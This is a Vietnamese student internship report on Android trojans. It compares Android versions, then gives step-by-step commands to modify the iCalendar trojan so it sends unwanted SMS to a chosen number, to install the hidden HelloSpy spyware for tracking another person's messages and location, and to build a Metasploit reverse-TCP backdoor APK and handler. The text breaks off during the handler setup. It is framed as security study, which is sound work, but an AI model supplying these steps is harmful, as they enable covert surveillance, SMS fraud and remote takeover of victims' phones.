View
109
Download
0
Category
Preview:
DESCRIPTION
bao cao cuoi ki nguyen duc thang
Citation preview
TP.HCM, tháng 8/ 2014
GVHD: Thầy VÕ ĐỖ THẮNG
SVTH: NGUYỄN ĐỨC THẮNG
MSSV: 1120162
TRƯỜNG ĐẠI HỌC KHOA HỌC TỰ NHIÊN TP.HCM
KHOA ĐIỆN TỬ VIỄN THÔNG
NƠI THỰC TẬP:
TRUNG TÂM ĐÀO TẠO QUẢNG TRỊ
MẠNG VÀ AN NINH MẠNG QUỐC
TẾ ATHENA
BÁO CÁO ĐỀ TÀI THỰC TẬP
Nghiên cứu các Trojan, Malware cho phép đánh cắp
dữ liệu như danh sách contact, tin nhắn trên điên
thoại sử dụng Android và gửi ra ngoài
BÁO CÁO THỰC TẬP CUÔI KỲ
1
LỜI CẢM ƠN
Em xin gởi lời cảm ơn chân thành và sự tri ân sâu sắc đối với Thầy và các anh
chị nhân viên trung tâm ATHENA đã tạo điều kiện cho em thực tập tốt. Và em cũng
xin chân thành cám ơn Thầy Võ Đỗ Thắng đã nhiệt tình hướng dẫn hướng dẫn em
hoàn thành tốt khóa thực tập.
Trong quá trình thực tập, Mặc dù em đã cố gắng hoàn thành báo cáo thực tập tốt
nghiệp này với tất cả nỗ lực của bản thân cũng như là trong quá trình làm bài báo cáo.
Nhưng do trình độ hiểu biết và kinh nghiệm thực tế có hạn nên chắc chắn không thể tránh
khỏi những thiếu sót nhất định nên khó tránh khỏi sai sót, rất mong các Thầy bỏ qua.
Em rất mong nhận được ý kiến đóng góp của Thầy để em học thêm được nhiều kinh
nghiệm .
Em xin chân thành cảm ơn !
BÁO CÁO THỰC TẬP CUÔI KỲ
2
ĐÁNH GIÁ CỦA GVHD :
...........................................................................................................................................
...........................................................................................................................................
...........................................................................................................................................
...........................................................................................................................................
...........................................................................................................................................
...........................................................................................................................................
...........................................................................................................................................
...........................................................................................................................................
...........................................................................................................................................
...........................................................................................................................................
...........................................................................................................................................
...........................................................................................................................................
...........................................................................................................................................
...........................................................................................................................................
...........................................................................................................................................
...........................................................................................................................................
...........................................................................................................................................
...........................................................................................................................................
...........................................................................................................................................
...........................................................................................................................................
...........................................................................................................................................
...........................................................................................................................................
...........................................................................................................................................
BÁO CÁO THỰC TẬP CUÔI KỲ
3
MỤC LỤC
A. Nghiên cứu hệ điều hành Android trên môi trường giả lập. .................. 4
I. Cài đặt GENYMOTION trên máy tính. ........................................................... 4
1. Giới thiệu ....................................................................................................... 4
2. Hướng dẫn cài đặt ......................................................................................... 4
II. So sánh sự khác nhau giữa hai phiên bản Android 2.3 và 4.x. ............................ 7
1. Sự khác nhau về yêu cầu phần cứng cần thiết để cài đặt. ............................... 7
2. Sự khác nhau về giao diện. ............................................................................. 7
3. Sự khác nhau về tính năng. ............................................................................ 9
4. Sự khác nhau về giao thức mạng. ................................................................... 9
III. Nghiên cứu các chương trình được tích hợp mã độc trên Android ................. 10
1. Thực trạng ................................................................................................... 10
2. Nghiên cứu lỗ hổng bảo mật trên Android. ................................................... 11
3. Cài đặt chương trình tích hợp mã độc (Trojan) trên Android ........................ 13
IV. Nghiên cứu Kali Linux, các cơ chế tạo mã độc trên Kali Linux , từ đó xâm nhập
thẻ SD card, kích hoạt camera, ghi âm trên thiết bị, sau đó truyền dữ liệu về máy điều
khiển từ xa ........................................................................................................... 24
1. Tìm hiểu Kali Linux ...................................................................................... 24
2. Cài đặt Kali Linux trên máy ảo VMWare...................................................... 26
3. Tạo mã độc trên Kali Linux để xâm nhập Android ..................................... 34
B. Thực hiện trên môi trường internet .......................................... 46
I.Cài mã độc trên VPS: Cài đặt Metasploit lên VPS .......................................... 46
1. Giới Thiệu ................................................................................................... 46
2. Cài đặt .......................................................................................................... 46
II. Từ VPS điều khiển thiết bị ( điện thoai Android) qua internet ..................... 49
C. Một số câu lệnh sử dụng trong Metasploit ................................. 52
D. Video hướng dẫn .............................................................. 54
BÁO CÁO THỰC TẬP CUÔI KỲ
4
A. Nghiên cứu hệ điều hành Android trên môi trường giả lập.
I. Cài đặt GENYMOTION trên máy tính.
1. Giới thiệu
Genymotion là một phần mềm giúp tạo các máy ảo Android trên PC và có sẵn
các phiên bản Android được cấu hình sẵn. Đây là máy ảo tuyệt vời dùng để thử
nghiệm các ứng dụng. Mặc dù máy ảo máy ảo Android của Genymotion không có số
điện thoại ảo như một số chương trình khác nhưng bù lại nó là một trong những phần
mềm chạy máy ảo Android trên PC nhanh nhất, chưa kể nó khá nhẹ nên có thể tải về
nhanh chóng là có thể chạy mượt trên những máy có cấu hình yếu do ít tốn RAM.
Genymotion thực chất sử dụng VirtualBox để tạo ra các máy ảo, tuy nhiên nó
sẽ giúp chúng ta đơn giản được nhiều bước thiết lập. Genymotion được viết nên chủ
yếu để các lập trình viên kiểm tra phần mềm của mình trước khi đưa Google Play,
nhưng chúng ta hoàn toàn có thể dùng nó cho nhu cầu chạy app thông thường cũng
được.
2. Hướng dẫn cài đặt
Đầu tiên, ta vào trang web http://www.genymotion.com/ và đăng kí một tài
khoản miễn phí. Sau đó truy cập email để kích hoạt tài khoản.
Kế tiếp là tải và cài đặt Genymotion từ trang web trên. Lưu ý là phải đăng nhập
vào trang web để tải . Nên tải phiên bản Genymotion kèm với VirtualBox (một máy
ảo tương tự như VMWare nhưng miễn phí và nguồn mở).
Sau khi tải về, cài đặt như bình thường nhưng chú ý nhớ đường dẫn thư mục
cài.
BÁO CÁO THỰC TẬP CUÔI KỲ
5
Ta chạy chương trình, sẽ có hộp thoại xuất hiện và hiển thị danh sách máy ảo
hiện có đã được cài đặt. Nhấn nút New để tạo mới hoặc khi có thông báo thêm máy
ảo mới như hình sau, bạn chọn Yes để thêm máy ảo.
Ta đăng nhập bằng tài khoản đăng kí trên website Genymotion.
BÁO CÁO THỰC TẬP CUÔI KỲ
6
Khi đó hộp thoại sẽ hiển thị danh sách máy ảo cấu hình sẵn (dành cho
smartphone hoặc tablet). Chọn máy ảo thích hợp cần sử dụng và nhấn Add, nhấn
Next để tải máy ảo.
Trong hộp thoại Genymotion chọn máy ảo và nhấn nút Play hoặc trong cửa
sổ Genymotion Virtual Devices Manager, chọn máy ảo và nhấn nút Start. Vậy là ta
đã cài đặt thành công Genymotion.
BÁO CÁO THỰC TẬP CUÔI KỲ
7
II. So sánh sự khác nhau giữa hai phiên bản Android 2.3 và 4.x.
1. Sự khác nhau về yêu cầu phần cứng cần thiết để cài đặt.
Android 2.3 Android 4x
Cần ít nhất 128 MB bộ nhớ có sẵn cho
Kernel và cho không gian người sử dụng
Cần ít nhất 340 MB bộ nhớ có sẵn cho
kernel và cho không gian người sử dụng
Dung lượng Ram tối thiểu cần thiết là
150MB
Dung lượng Ram tối thiểu cần thiết là
350 MB
Màn hình:
- Màn hình phải có kích cỡ ít nhất
2,5 inch
- Mật độ phải được ít nhất 100 dpi
- Tỉ lệ màn hình từ 1.333 (4:3) đến
1,779 (16:9)
- Công nghệ màn hình được sử dụng
là công nghệ “ Square pixels”
Màn hình:
- Màn hình phải có kích cỡ ít nhất
426x320
- Mật độ phải được ít nhất 100 dpi
- Tỉ lệ màn hình từ 1.333 (4:3) đến
1,85 (16:9)
Yêu cầu có các phím vậy lý Không yêu cầu có có phím vật lý
Các API Android bao gồm trình
quản lý download các ứng dụng có thể
sử dụng để tải dữ liệu.Trình quản lí
download phải có khả năng tải tập tin có
dung lượng ít nhất 55 MB
Các API Android bao gồm trình
quản lý download các ứng dụng có thể
sử dụng để tải dữ liệu.Trình quản lí
download phải có khả năng tải tập tin có
dung lượng ít nhất 100 MB
2. Sự khác nhau về giao diện.
Giao diện người dùng của Android dựa trên nguyên tắc tác động trực tiếp, sử
dụng cảm ứng chạm tương tự như những động tác ngoài đời thực như vuốt, chạm,
kéo dãn và thu lại để xử lý các đối tượng trên màn hình. Sự phản ứng với tác động
của người dùng diễn ra gần như ngay lập tức, nhằm tạo ra giao diện cảm ứng mượt
BÁO CÁO THỰC TẬP CUÔI KỲ
8
mà, thường dùng tính năng rung của thiết bị để tạo phản hồi rung cho người dùng.
Những thiết bị phần cứng bên trong như gia tốc kế, con quay hồi chuyển và cảm
biến khoảng cách được một số ứng dụng sử dụng để phản hồi một số hành động khác
của người dùng, ví dụ như điều chỉnh màn hình từ chế độ hiển thị dọc sang chế độ hiển
thị ngang tùy theo vị trí của thiết bị, hoặc cho phép người dùng lái xe đua bằng xoay
thiết bị, giống như Các thiết bị Android sau khi khởi động sẽ hiển thị màn hình
chính, điểm khởi đầu với các thông tin chính trên thiết bị, tương tự như
khái niệm desktop (bàn làm việc) trên máy tính để bàn. Màn hính chính Android
thường gồm nhiều biểu tượng (icon) và tiện ích (widget); biểu tượng ứng dụng sẽ mở
ứng dụng tương ứng, còn tiện ích hiển thị những nội dung sống động, cập nhật tự
động như dự báo thời tiết, hộp thư của người dùng, hoặc những mẩu tin thời sự ngay
trên màn hình chính. Màn hình chính có thể gồm nhiều trang xem được bằng cách
vuốt ra trước hoặc sau, mặc dù giao diện màn hình chính của Android có thể tùy chỉnh
ở mức cao, cho phép người dùng tự do sắp đặt hình dáng cũng như hành vi của thiết bị
theo sở thích. Những ứng dụng do các hãng thứ ba có trên Google Play và các kho
ứng dụng khác còn cho phép người dùng thay đổi "chủ đề" của màn hình chính,
thậm chí bắt chước hình dáng của hệ điều hành khác như Windows Phone chẳng hạn.
Phần lớn những nhà sản xuất, và một số nhà mạng, thực hiện thay đổi hình dáng và
hành vi của các thiết bị Android của họ để phân biệt với các hãng cạnh tranh. Ở phía
trên cùng màn hình là thanh trạng thái, hiển thị thông tin về thiết bị và tình trạng kết
nối. Thanh trạng thái này có thể "kéo" xuống để xem màn hình thông báo gồm thông
tin quan trọng hoặc cập nhật của các ứng dụng, như email hay tin nhắn SMS mới nhận,
mà không làm gián đoạn hoặc khiến người dùng cảm thấy bất tiện. Trong các phiên
bản đời đầu, người dùng có thể nhấn vào thông báo để mở ra ứng dụng tương ứng, về
sau này các thông tin cập nhật được bổ sung theo tính năng, như có khả năng lập tức
gọi ngược lại khi có cuộc gọi nhỡ mà không cần phải mở ứng dụng gọi điện ra.
Thông báo sẽ luôn nằm đó cho đến khi người dùng đã đọc hoặc xóa nó đi.
BÁO CÁO THỰC TẬP CUÔI KỲ
9
Android 2.3 Android 4x
Giao diện đơn giản Giao diện tinh tế hơn, trong suốt và đẹp mắt
hơn
Chỉ hỗ trợ phím ảo là phím
Home
Hỗ trợ các phím ảo: Home, Back, Zoom
Không có widget menu Có Widget menu giúp tìm nhanh thông tin
mà không cần mở ứng dụng
3. Sự khác nhau về tính năng.
Android 2.3 Android 4x
Thiết kế tối ưu hóa cho Smartphone Thiết kế tối ưu hóa cho Smartphone và
Tablet
Chỉ có thể xóa tất các các thông báo
cùng lúc trên trình quản lý
Chỉ có thể xóa riêng rẽ các thông báo cùng
lúc trên trình quản lý
Chỉ có thể trả lời, ngắt cuộc gọi khi màn
hình bị khóa
Có thể thực hiện thêm 1 số tính năng khi
màn hình bị khoái ngoài trả lời , ngắt cuộc
gọi như gửi tin nhắn
Không có tính năng mở khóa màn hình
nhận diện khuôn mặt
Có tính năng mở khóa màn hình nhận diện
khuôn mặt
Không hỗ trợ chỉnh sửa hình ảnh Hỗ trợ chỉnh sửa hình ảnh , tự động nhận
diện được tất cả các camera trên thiết bị
4. Sự khác nhau về giao thức mạng.
Android 2.3 Android 4x
Không hỗ trợ giao thức https Hỗ trợ giao thức https
BÁO CÁO THỰC TẬP CUÔI KỲ
10
III. Nghiên cứu các chương trình được tích hợp mã độc trên Android
1. Thực trạng
Một báo cáo mới vừa được công bố, cho thấy mức độ nghiêm trọng của mã
độc trên Android - hệ điều hành di động phổ biến nhất thế giới có đến 99,9% số
lượng mã độc mới được phát hiện trong quý I năm 2013 được thiết kế để nhắm đến
nền tảng Android. Đây là một con số báo động về tình trạng mã độc trên nền tảng di
động của Google vừa được hãng bảo mật Kaspersky Lab công bố.
Phần lớn trong số các loại mã độc trên Android là virus trojan, một dạng virus
chủ yếu để sử dụng để đánh cắp tiền của người dùng bị lây nhiễm bằng cách gửi đến
họ những tin nhắn lừa đảo, đọc lén các thông tin cần thiết và gửi báo cáo đến nơi
khác, ăn cắp thông tin như là mật khẩu và số thẻ tín dụng, cài đặt lén các phần mềm
chưa được cho phép, ….. Loại mã độc này chiếm đến 63% tổng số các loại mã độc
mới được phát tán trên Android trong quý I năm 2013.
Các nhà nghiên cứu bảo mật của Kaspersky cũng báo cáo một sự bùng nồ về số
lượng các mã độc hại trên di động. Theo đó chỉ tính riêng trong 3 tháng đầu năm
2013, Kaspersky đã phát hiện được số lượng mã độc mới trên các nền tảng di động
bằng tổng số lượng mã độc được phát hiện trong cả năm 2012 mà Android là nền
tảng chịu ảnh hưởng nặng nhất.
Với việc Android tiếp tục trở thành “mồi ngon” của hacker trong việc phát tán
các loại mã độc, có vẻ như Android đang dần trở thành một “Windows thứ 2” trên
lĩnh vực bảo mật, khi sự phổ biến của nền tảng này đang thu hút tối đa sự chú ý của
các tin tặc, đồng thời việc quản lý các ứng dụng cho Android một cách lỏng lẻo càng
tạo điều kiện cho mã độc được phát tán dễ dàng hơn trên nền tảng di động này.
Bên cạnh lĩnh vực mã độc trên nền tảng di động, báo cáo về tình trạng bảo mật
trong quý I/2013 của Kaspersky cũng cho biết 91% các vụ phát tán mã độc chủ yếu
dựa vào việc phát tán các đường link trang web có chứa mã độc. Các đường link có
BÁO CÁO THỰC TẬP CUÔI KỲ
11
chứa mã độc này chủ yếu được phát tán thông qua email và trên các mạng xã hội như
Facebook, Twitter… Đây được xem là biện pháp được yêu thích nhất hiện nay của
hacker.
2. Nghiên cứu lỗ hổng bảo mật trên Android.
a. Malware trên Android.
Malware (phần mềm ác tính) viết tắt của cụm từ Malicious Sofware, là một
phần mềm máy tính được thiết kế với mục đích thâm nhập hoặc gây hỏng hóc máy
tính mà người sử dụng không hề hay biết.
Theo thống kê của các hãng bảo mật trên thế giới thì hiện các Malware hiện
nay mới chỉ dừng lại ở mức độ xâm nhập và ăn cắp thông tin của người dùng và nó
chưa có cơ chế lây lan. Theo các kết quả trên thì Malware trên Smartphone hiện nay
về cách thức hoạt động giống như một phần mềm gián điệp (Trojan) hơn là một virus
phá hủy.
b. Cơ chế hoạt động của Malware.
Lấy một ví dụ cụ thể về 1 Malware rất phổ biến trong thời gian vừa qua đó là
Malware DroidDream. Malware này hoạt động qua 2 giai đoạn:
- Giai đoạn đầu: DroidDream được nhúng vào trong một ứng dụng (số lượng
ứng dụng chứa Malware này hiện đã nhiều hơn 50 ứng dụng) và sẽ chiếm được
quyền root vào thiết bị của bạn ngay sau khi bạn chạy ứng dụng đó trong lần sử dụng
đầu tiên.
- Giai đoạn 2 : Tự động cài đặt một ứng dụng thứ 2 với một permission đặc
biệt cho phép quyền uninstall. Một khi các ứng dụng thứ 2 được cài đặt, nó có thể gửi
các thông tin nhạy cảm tới một máy chủ từ xa và âm thầm tải thêm các ứng dụng
khác Một khi DroidDream chiếm được quyền root, Malware này sẽ chờ đợi và âm
thầm cài đặt một ứng dụng thứ hai, DownloadProviderManager.apk như một ứng
BÁO CÁO THỰC TẬP CUÔI KỲ
12
dụng hệ thống. Việc cài đặt ứng dụng hệ thống này nhằm ngăn ngừa người dùng xem
hoặc gỡ bỏ cài đặt các ứng dụng mà không được phép.
Không giống như giai đoạn đầu, người dùng phải khởi động ứng dụng để bắt
đầu việc lây nhiễm, ở giai đoạn thứ 2 ứng dụng tự động làm một số việc như là
confirm, checkin….Một điều nữa khiến cho bạn không thể biết chúng hoạt động lúc
nào, đó là Malware DroidDream này được lập trình để làm hầu hết các công việc của
mình vào khoảng thời gian từ 11h đêm tới 8h sáng ngày hôm sau. Đây là khoảng thời
gian mà điện thoại ít có khả năng được sử dụng nhất. Điều này làm cho người dùng
khó khăn hơn trong việc phát hiện một hành vi bất thường trên chiếc smartphone của
mình.
c. Mục đích của Malware DroidDream
DroidDream được coi là một trong những Malware đầu tiên trên Android, mục
đích của con DroidDream này mới chỉ dừng lại ở mức độ làm cho chiếc điện thoại
của người dùng tự động cài đặt những ứng dụng chứa mã độc khác. Tuy nhiên các
biến thể của nó đã kịp thời biến đổi để gây ra các mối nguy hại lớn hơn rất nhiều. Ví
dụ như Hippo SMS được tìm thấy mới đây có khả năng tự gửi tin nhắn mà không
cần sự cho phép của người dùng, việc này sẽ khiến tiền cước phí của người dùng tăng
lên một cách chóng mặt mà người dùng không biết rõ lí do tại sao. Hoặc một
Malware khác là Zitmo, Malware này đưa ra các ứng dụng kích hoạt mọi hành động
liên quan đến dịch vụ ngân hàng, tiếp nhận SMS gửi đến và chuyển tới máy chủ. Các
đoạn code dùng 1 lần mà các ngân hàng thường gửi tới khách hàng thông qua tin
nhắn SMS để chứng thực sẽ bị thu thập bởi các malware này.
Hiện nay còn có một số Malware còn có khả năng nghe lén tất cả các cuộc điện
thoại. Vấn đề này thực sự nguy hiểm khi tất cả các vấn đề riêng tư của chúng ta đang
bị một theo dõi, vì vậy những mối nguy hiểm từ mã độc trên android đang thực sự đe
dọa đến an sự an toàn của người dùng hệ điều hành này.
BÁO CÁO THỰC TẬP CUÔI KỲ
13
3. Cài đặt chương trình tích hợp mã độc (Trojan) trên Android
a. Cài đặt iCalendar
a.1. Giới thiệu
iCalendar là một phần mềm được tích hợp mã độc có xuất xứ từ Trung Quốc,
người dùng cài đặt chương trình sau khi chạy chương trình sẽ tự động gửi tin nhắn mà
không hề mong muốn. Bằng cách này, điện thoại của nạn nhân sẽ bị trừ tiền mà không
rõ nguyên do.
a.2. Cài đặt
a.2.1. Java JDK
Java là một công nghệ xây dựng các ứng dụng phần mềm. Nó được coi là công
nghệ mang tính cách mạng và khả thi nhất trong việc tạo ra các ứng dụng có khả năng
chạy thống nhất trên nhiều nền tảng mà chỉ cần biên dịch một lần.
Java còn là một nền tảng phát triển và triển khai ứng dụng trong đó máy ảo Java, bộ
thông dịch có vai trò trung tâm.
Chúng ta có thể tải Java JDK về tại:
http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-
2133151.html
Tại đây, ta chỉ việc ấn vào Accept LicenseAgreement rồi chọn phiên bản để tải
về.
BÁO CÁO THỰC TẬP CUÔI KỲ
14
a.2.2. Android SDK
Android SDK là một máy ảo của Android trên PC. Android SDK giúp hỗ trợ
lập trình các ứng dụng của Android trên PC, hỗ trợ bạn những chức năng không khác
gì một chiếc máy thật.
Ta có thể tải Android SDK tại: http://developer.android.com/sdk/index.html
BÁO CÁO THỰC TẬP CUÔI KỲ
15
Đầu tiên, ta sẽ giải nén thư mục vừa tải về. Sau đó vào eclipse.exe trong thư
mục eclipse.
BÁO CÁO THỰC TẬP CUÔI KỲ
16
Kế tiếp ta vào Windows -> Android SDK Manager và chọn phiên bản Android
muốn tải về, sau đó ta ấn Install -> Accept License -> Install.
Sau khi tải xong, ta vào Windows -> Android Virtual Device Manager và tạo
một smartphone hệ điều hành Android theo ý thích.
BÁO CÁO THỰC TẬP CUÔI KỲ
17
Sau đó ta ấn Start và một smartphone ảo với hệ điều hành Adroid đã lựa chọn
sẽ hiện ra.
a.2.3 Apktool
Apktool là công cụ dùng để giải mã các file apk và jar, phục vụ cho việc tùy
chỉnh, sửa đổi các file đó.
Ta có thể tải về tại: https://code.google.com/p/android-apktool/
a.3. Hướng dẫn cài đặt Trojan iCalendar trên Android SDK
Trước tiên, ta copy file iCalendar.apk vào thư mục apktool và mở CMD rồi di
chuyển vào thư mục apktool. Kế tiếp ta giải mã iCalendar bằng lệnh :
Apktool if iCalendar.apk
Apktool d iCalendar.apk
BÁO CÁO THỰC TẬP CUÔI KỲ
18
Vậy là ta đã tạo được thư mục giải mã iCalendar ta vào thư mục đó rồi vào
smali ->com -> mj -> iCalendar.
Tại đây, ta mở file iCalendar.smali rồi sử số trong dấu ngoặc kép của line 252
thành số điện thoại sẽ nhận tin nhắn và nội dung tin nhắn sẽ gửi tại local v1 ngay dưới
đó.
BÁO CÁO THỰC TẬP CUÔI KỲ
19
Ta làm tương tự với smsReceive.smali tại line 41.
Bây giờ ta sẽ biên soạn lại iCalendar bằng lệnh:
Apktool b iCalendar
Vậy là trong thư mục dist của iCalendar đã có một file iCalendar.apk dã được
biên soạn lại.
Kế tiếp ta sẽ copy file vừa tạo vào thư mục cài đặt Java JDK để signing cho nó.
Sauk hi di chuyển vào thư mục Java JDK, ta dùng lệnh:
Keytool –genkey –v –keystore iCalendar.keystore –alias iCalendar –keyalg
RSA –keysize 2048 –validity 10000
BÁO CÁO THỰC TẬP CUÔI KỲ
20
Sau đó ta sẽ nhập password và điền một số thông tin tùy ý:
Sau đó ta dùng lệnh:
Jarsigner –verbose –keystore iCalendar.keystore iCalendar.apk iCalendar
Jarsigner –verify –verbose –certs iCalendar.apk
BÁO CÁO THỰC TẬP CUÔI KỲ
21
Bây giờ ta copy file iCalendar.apk trong Java JDK vào thư mục sdk của
Android SDK và tiến hành cài chương trình vào máy ảo ( máy ảo phải mở sẵn) :
Adb –s emulator-5558 install iCalendar.apk
Với 5558 là số điện thoại của máy cài và iCalendar.apk là tên chương trình.
Vậy là bây giờ trong máy ảo đã có chương trình iCalendar.
BÁO CÁO THỰC TẬP CUÔI KỲ
22
Chỉ cần mở iCalendar lên vài ấn vài lần là đã có một tin nhắn được gửi đi mà
không mong muốn.
b. Cài đặt HelloSpy
b.1. Giới thiệu
HelloSpy là một trong những phần mềm theo dõi tố nhất hiện nay. Nó chạy ổn
định, ít tốn pin,có chương trình cho cả Android và iOS và khá rẻ so với các ứng dụng
khác. Người bị cài phần mềm này rất khó để nhận biết mình bị theo dõi vì phần mềm
không hiển thị mà chạy ngầm trong máy.
HelloSpy có nhiều tính năng theo dõi như:
o Theo dõi vị trí thiết bị
o Lịch sử vị trí trong vòng 24 giờ
o Theo dõi tin nhắn
o Theo dõi danh bạ
o Theo dõi nhật kí cuộc gọi
o Lịch sử URL, lịch sử hình ảnh, lịch sử ứng dụng…
BÁO CÁO THỰC TẬP CUÔI KỲ
23
b.2. Hướng dẫn cài đặt HelloSpy
Đầu tiên, ta vào trang chủ của HelloSpy để đăng kí tài khoản: hellospy.com
Sau đó, ta vào trang: http://hellospy.com/androidos.aspx?lang=en-US để tải về
phiên bản phù hợp với điện thoại. Tại đậ có cả hướng dẫn cài đặt trên điện thoại.
Trước khi cài chương trình, ta phải vào Security và chọn Unknown sources và
Verify apps để có thể cài chương trình.
Bây giờ ta sẽ vào thư mục
BÁO CÁO THỰC TẬP CUÔI KỲ
24
download để cài chương trình đã tải. Sau khi cài xong, ta gọi đến số #8888*, đây thực
chất là cách để vào chương trình ẩn HelloSpy.
Tại đây, ta đăng nhập với tài khoản đã đăng kí, sau đó khởi động lại máy. Từ
bây giờ chỉ cần điện thoại được kết nối mạng là ta có thể biết được người dùng đã
nhắn tin, gọi điện hay thậm chí biết cả vị trí của họ mà chỉ cần vào đăng nhập vào tài
khoản đã nhập trong điện thoại của họ trên trang chủ của HelloSpy.
IV. Nghiên cứu Kali Linux, các cơ chế tạo mã độc trên Kali Linux , từ
đó xâm nhập thẻ SD card, kích hoạt camera, ghi âm trên thiết bị, sau đó
truyền dữ liệu về máy điều khiển từ xa
1. Tìm hiểu Kali Linux
Kali Linux là một hệ điều hành được xây dựng trên nhân Linux, được thiết kế
để kiểm tra bảo mật, thử nghiệm xâm nhập các hệ thống máy tính. Tiền thân của Kali
Linux là BackTrack, xuất hiện năm 2006 và được các chuyên gia đánh giá bảo mật ưa
chuộng sử dụng. Sau 7 năm liên tục phát triển, tháng 3 năm 2013, hãng Offensive
Security đã công bố phiên bản mới của BackTrack có tên là Kali Linux (được xem
như phiên bản BackTrack 6). Kali Linux tập hợp và phân loại gần như tất cả các công
BÁO CÁO THỰC TẬP CUÔI KỲ
25
cụ thiết yếu mà bất kì chuyên gia đánh giá bảo mật nào cũng cần sử dụng khi tác
nghiệp.
Nói về ưu điểm của Kali là nói về những thay đổi giữa BackTrack và Kali. So
với BackTrack, Kali có rất nhiều cải tiến:
- Kali phát triển trên nền tảng hệ điều hành Debian:
Điều này có nghĩa Kali có rất nhiều ưu điểm. Đầu tiên là các Repository (Kho
lưu trữ phần mềm) được đồng bộ hóa với các Repository của Debian nên có thể dễ
dàng có được các bản cập nhật vá lỗi bảo mật mới nhất và các cập nhật Repository.
Duy trì cập nhật (up-to-date) đối với các công cụ Penetration Test là một yêu cầu vô
cùng quan trọng.
Một lợi thế khác là mọi công cụ trong Kali đều tuân theo chính sách quản lý
gói của Debian. Điều này có vẻ không quan trọng nhưng nó đảm bảo rõ ràng về mặt
cấu trúc hệ thống tổng thể, nó cũng giúp cho chúng ta có thể dễ dàng hơn trong việc
xem xét hoặc thay đổi mã nguồn của các công cụ.
- Tính tương thích kiến trúc:
Một ưu điểm quan trọng trong Kali là nó đã cải tiến khả năng tương thích với
kiến trúc ARM. Từ khi Kali xuất hiện, nhiều phiên bản ấn tượng đã được tạo ra. Giờ
đây ta có thể build Kali trên một Raspberry Pi hoặc trên Samsung Galaxy Note.
- Hỗ trợ mạng không dây tốt hơn:
Một trong những vấn đề được các nhà phát triển Kali chú trọng nhiều nhất,
chính là sự hỗ trợ cho một số lượng lớn phần cứng bên trong các thiết bị mạng không
dây hay USB Dongles. Một yêu cầu quan trọng khi các chuyên gia bảo mật thực hiện
đánh giá mạng không dây.
- Khả năng tùy biến cao:
Kali rất linh hoạt khi đề cập đến giao diện hoặc khả năng tuỳ biến hệ thống.
Đối với giao diện, giờ đây người dùng đã có thể chọn cho mình nhiều loại Desktops
như GNOME, KDE hoặc XFCE tùy theo sở thích và thói quen sử dụng.
BÁO CÁO THỰC TẬP CUÔI KỲ
26
- Dễ dàng nâng cấp giữa các phiên bản Kali trong tương lai:
Đối với bất cứ ai sử dụng Kali, đây là một tính năng quan trọng khi bảo trì hệ
điều hành Kali. Với BackTrack, bất kỳ lúc nào khi phiên bản mới được công bố thì
chúng ta đều phải cài lại mới hoàn toàn (Ngoại trừ phiên bản R2 lên R3 năm ngoái).
Giờ đây với Kali, nhờ vào sự chuyển đổi sang nền tảng hệ điều hành Debian,
Kali đã dễ dàng hơn trong việc âng cấp hệ thống khi phiên bản mới xuất hiện, người
dùng không phải cài lại mới hoàn toàn nữa
2. Cài đặt Kali Linux trên máy ảo VMWare
Trước tiên cần tải về file ISO phiên bản mới nhất của Kali Linux trên link dưới,
bài này ta sẽ tiến hành cài phiên bản Kali Linux 1.0.6 64 bit.
http://www.kali.org/downloads/
Tất nhiên ta cần phải có Vmware, việc tải và cài đặt Vmware rất dễ dàng, ta có
thể tìm trên mạng. Sau khi có file ISO ta bắt đầu tiến hành cài đặt lên máy ảo.
BÁO CÁO THỰC TẬP CUÔI KỲ
27
Mở VMware, chọn File ở góc phải trên màn hình, chọn New Virtual
Machine... . Trên cửa sổ mới mở, chọn custom và nhấn next.
Tiếp tục nhấn next đến khi yêu cầu chọn file ISO thì ta chọn ISO của kali đã tải trước
đó:
BÁO CÁO THỰC TẬP CUÔI KỲ
28
Đặt tên và đặt đường dẫn cho máy ảo:
BÁO CÁO THỰC TẬP CUÔI KỲ
29
Tiếp tục chọn cấu hình cho máy ảo, ta có thể để mặc định.
Máy ảo sẽ khởi động và vào giao diện cài đặt, chọn Graphic Install
Bấm chọn ngôn ngữ, địa điểm, Host name như khi cài đặt hệ điều hành bình
thường...
Tiếp theo chọn Root password.
BÁO CÁO THỰC TẬP CUÔI KỲ
30
Phần Partition chọn Guided – use entire disk và All files in one partition
BÁO CÁO THỰC TẬP CUÔI KỲ
31
Chọn Finish partitioning and write changes to disk
Chọn Yes
BÁO CÁO THỰC TẬP CUÔI KỲ
32
Nhấn continue để bắt đầu cài đặt khoảng 15 phút.
BÁO CÁO THỰC TẬP CUÔI KỲ
33
Sau khi cài đặt xong, chọn No ở Network mirror, chọn Yes ở phần Boot-
loader.
BÁO CÁO THỰC TẬP CUÔI KỲ
34
Sau khi hoàn tất phần cuối và khởi động lại, đến giao diện login ta nhập user là
root và password đã đặt ở phần trước.
Vậy là ta đã hoàn tất cài đặt kali linux trên Vmware.
3. Tạo mã độc trên Kali Linux để xâm nhập Android
Ta sử dụng Metasploit framework trên Kali Linux để tạo một payload, khi máy
android tải về và mở payload lên thì sẽ bị xâm nhập và điều khiển. Nếu sử dụng máy
ảo Kali Linux bằng Vmware, ta nên thiết lập phần Network như sau:
Bấm vào VM -> Settings... ở thanh lựa chọn của Vmware
Bấm vào Network Adapter và chọn Bridged: connection directly to the
physical network
BÁO CÁO THỰC TẬP CUÔI KỲ
35
Bấm vào Edit -> Virtual Network Editor...
Trên phần Bridge (connect VMs directly to the external network) chọn adapter
của máy thật
BÁO CÁO THỰC TẬP CUÔI KỲ
36
Sau đây ta vào phần chính tạo backdoor và xâm nhập điều khiển android. Đầu
tiên mở terminal và gõ dòng lệnh
Msfpayload android/meterpreter/reverse_tcp lhost=192.168.0.104
lport=8080 R > /root/Desktop/files.apk
BÁO CÁO THỰC TẬP CUÔI KỲ
37
192.168.0.104 là địa chỉ IP của máy Kali, ta có thể sử dụng lệnh ifconfig để
xem IP của máy Kali
8080 là số port, có thể chọn port khác, không nên chọn các port thường sử
dụng
Lệnh trên sẽ tạo ra 1 file files.apk trên desktop của Kali, đây chính là một
Metasploit reverse tcp backdoor.
BÁO CÁO THỰC TẬP CUÔI KỲ
38
Tiếp theo, gõ lệnh msfconsole
Sau khi msfconsile load xong, ta tạo một handler để xử lí dữ liệu truyền về
bằng cách gõ lệnh sau:
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 192.168.0.104 – nhập địa chỉ IP giống với khi tạo payload ở trên.
set lport 8080 – nhập port giống với port khi tạo payload ở trên.
